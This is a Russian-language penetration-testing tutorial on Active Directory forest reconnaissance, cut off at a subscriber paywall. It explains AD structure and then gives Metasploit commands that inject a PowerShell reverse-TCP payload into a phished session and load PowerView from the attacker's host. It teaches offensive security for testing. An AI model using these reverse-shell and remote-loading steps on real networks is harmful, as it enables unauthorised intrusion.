Reeder (it_is_it) все записи автора
Active Directory — явление, довольно часто встречающееся при тестировании безопасности крупных компаний. Нередко попадается не одинокий домен в единственном лесу, а более ветвистая и более интереcная структура. Поэтому сегодня мы поговорим о том, как проводить разведку, изучать структуру леса, рассмотрим возможности поднятия привилегий. А завершим полной компрометацией всего леса предприятия!
О чем на этот раз
Не секрет, что многие, если не большинство крупных компаний используют службу каталогов Active Directory от небезызвестной MS. Причина достаточно очевидна. Такой подход позволяет многие вeщи автоматизировать, интегрировать все в одну слаженную структуру и облегчить жизнь как IT-отделу, так и всем сотрудникам.
Как правило, если организация довольно большая, то, развиваясь, она может приобретать другие (более мелкие) компании, устраивать слияния, расширения и прочие радости крупного бизнеса. Все это сказывается на структуре леса AD, который пополняется новыми деревьями и разрастается вширь и вглубь. Именно о такой разветвленной структуре мы и будем разговаривать. А начнем, по традиции, с небольшого теоретического введения.
В дремучих лесах AD
Бегло рассмотрим ключевые понятия Active Directory, которые постоянно будут использоваться в дальнейшем. Начнем от наименьшей структурной единицы AD — домена.
Доменом можно назвать логическую группу (пользователей, хостов, серверов и так далее), которые поддерживают централизованное администрирование.
Деревом называется набор доменов, которые используют общее пространство имен (по аналогии с обычным DNS). Важно, что дочерний домен автoматически получает двухсторонние доверительные отношения с родительским доменом.
Доверие — это своеобразное соглашение между двумя доменами, устанавливающее разрешения на доступ к тем или иным объектам или ресурсам.
Ну а лес, в свою очередь, является наиболее крупной структурой в Active Directory и объединяет все деревья. В результате все деревья в лесу обычно объединены двунаправленными доверительными отношениями, что позволяет пользователям в любом дереве получать доступ к ресурсам в любом другом, если они имеют соответствующие разрешения и права.
По умолчанию первый домен, создаваемый в лесу, автоматически становится его корневым доменом.
Завершив теоретический экскурс, можно переходить к практике, чем и займемся. При этом мы будем предполагать, что уже получен базовый доступ с небольшими пользовательскими привилегиями. Допустим, что социнженерия дала свои плоды и после отправки специально сформированного письма (например, с документом во вложении) кто-то открыл документ и мы получили шелл.
Проверяем боекомплект
Перед любыми боевыми действиями неплохо вначале осмотреть свой инструментарий и определиться, что будет использовaться. Для изучения Windows-окружения самый удобный инструмент на сегодняшний день — это PowerShell. Почему? Да потому, что он везде установлен (начиная с Windows 7/2008R2), позволяет работать и выполнять разнообразные командлеты рядовым пользователям и глубоко интегрирован в ОС.
Дефолтная политика, которая запрещает выполнение сторонних (неподписанных) PowerShell-скриптов, не является серьезной защитной мерой. Это просто защита от случайного запуска по двойному клику и очень легко обходится. По большому счету PowerShell — это целый фреймворк для постэксплуатации Windows. Естественно, по этой причине пентестеры уже несколько лет активно его используют, и написано множество различных модулей (скриптов), которые помогают автоматизировать те или иные действия.
Мы будем использовать лишь один такой модуль — PowerView, который входит в набор PowerTools. Изначально он создавался в рамках известного проекта Veil, но не так давно, после выхода впечатляющего фреймворка PowerShell Empire (который очень динамично развивается и требует отдельного рассмотрения), был перемещен и теперь является подпроектом PS Empire.
PowerView служит одновременно и заменой всех консольных net*-команд в Windows, и средством изучения AD. Отдельно стоит еще раз подчеркнуть, что большинство возможностей доступны с правами обычного пользователя.
Выдвигаемся на исходную
Напомню, что базовый доступ у нас уже есть, и для упрощения будем считать, что у нас есть шелл Meterpreter с правами рядового доменного пользователя. В этом году работа с PS в Метасплоите стала значительно удобнее, появилось несколько специализированных пейлоадов, чем и воспользуемся. Чтобы не потерять имеющуюся сессию, создадим новую, используя механизм payload_inject.
Для этого выполняем:
msf > use exploit/windows/local/payload_inject
В качестве полезной нагрузки, конечно же, выбираем powershell:
msf exploit(payload_inject) > set PAYLOAD windows/powershell_reverse_tcp
Теперь можно сразу указать модуль, который нужно импортировать в случае успешного запуска:
msf exploit(payload_inject) > set LOAD_MODULES
http://10.54.0.181/powerview.ps1
Отмечу, что при желании можно даже указывать полный адрес до GitHub, в нашем случае PowerView будет скачиваться жертвой прямо с хоста атакующего.
Последним штрихом необходимо указать номер уже имеющейся сессии:
msf exploit(payload_inject) > set SESSION 1
Запускаем на выполнение (результат на рис. 1).
Рис. 1. PowerShell-сессия
Рис. 1. PowerShell-сессия
Ситуационная осведомленность
Теперь, когда у нас есть интерактивный PowerShell, можно внимательно изучить обстановку. Первым делом пригодятся две следующие команды:
Продолжение статьи доступно подписчикам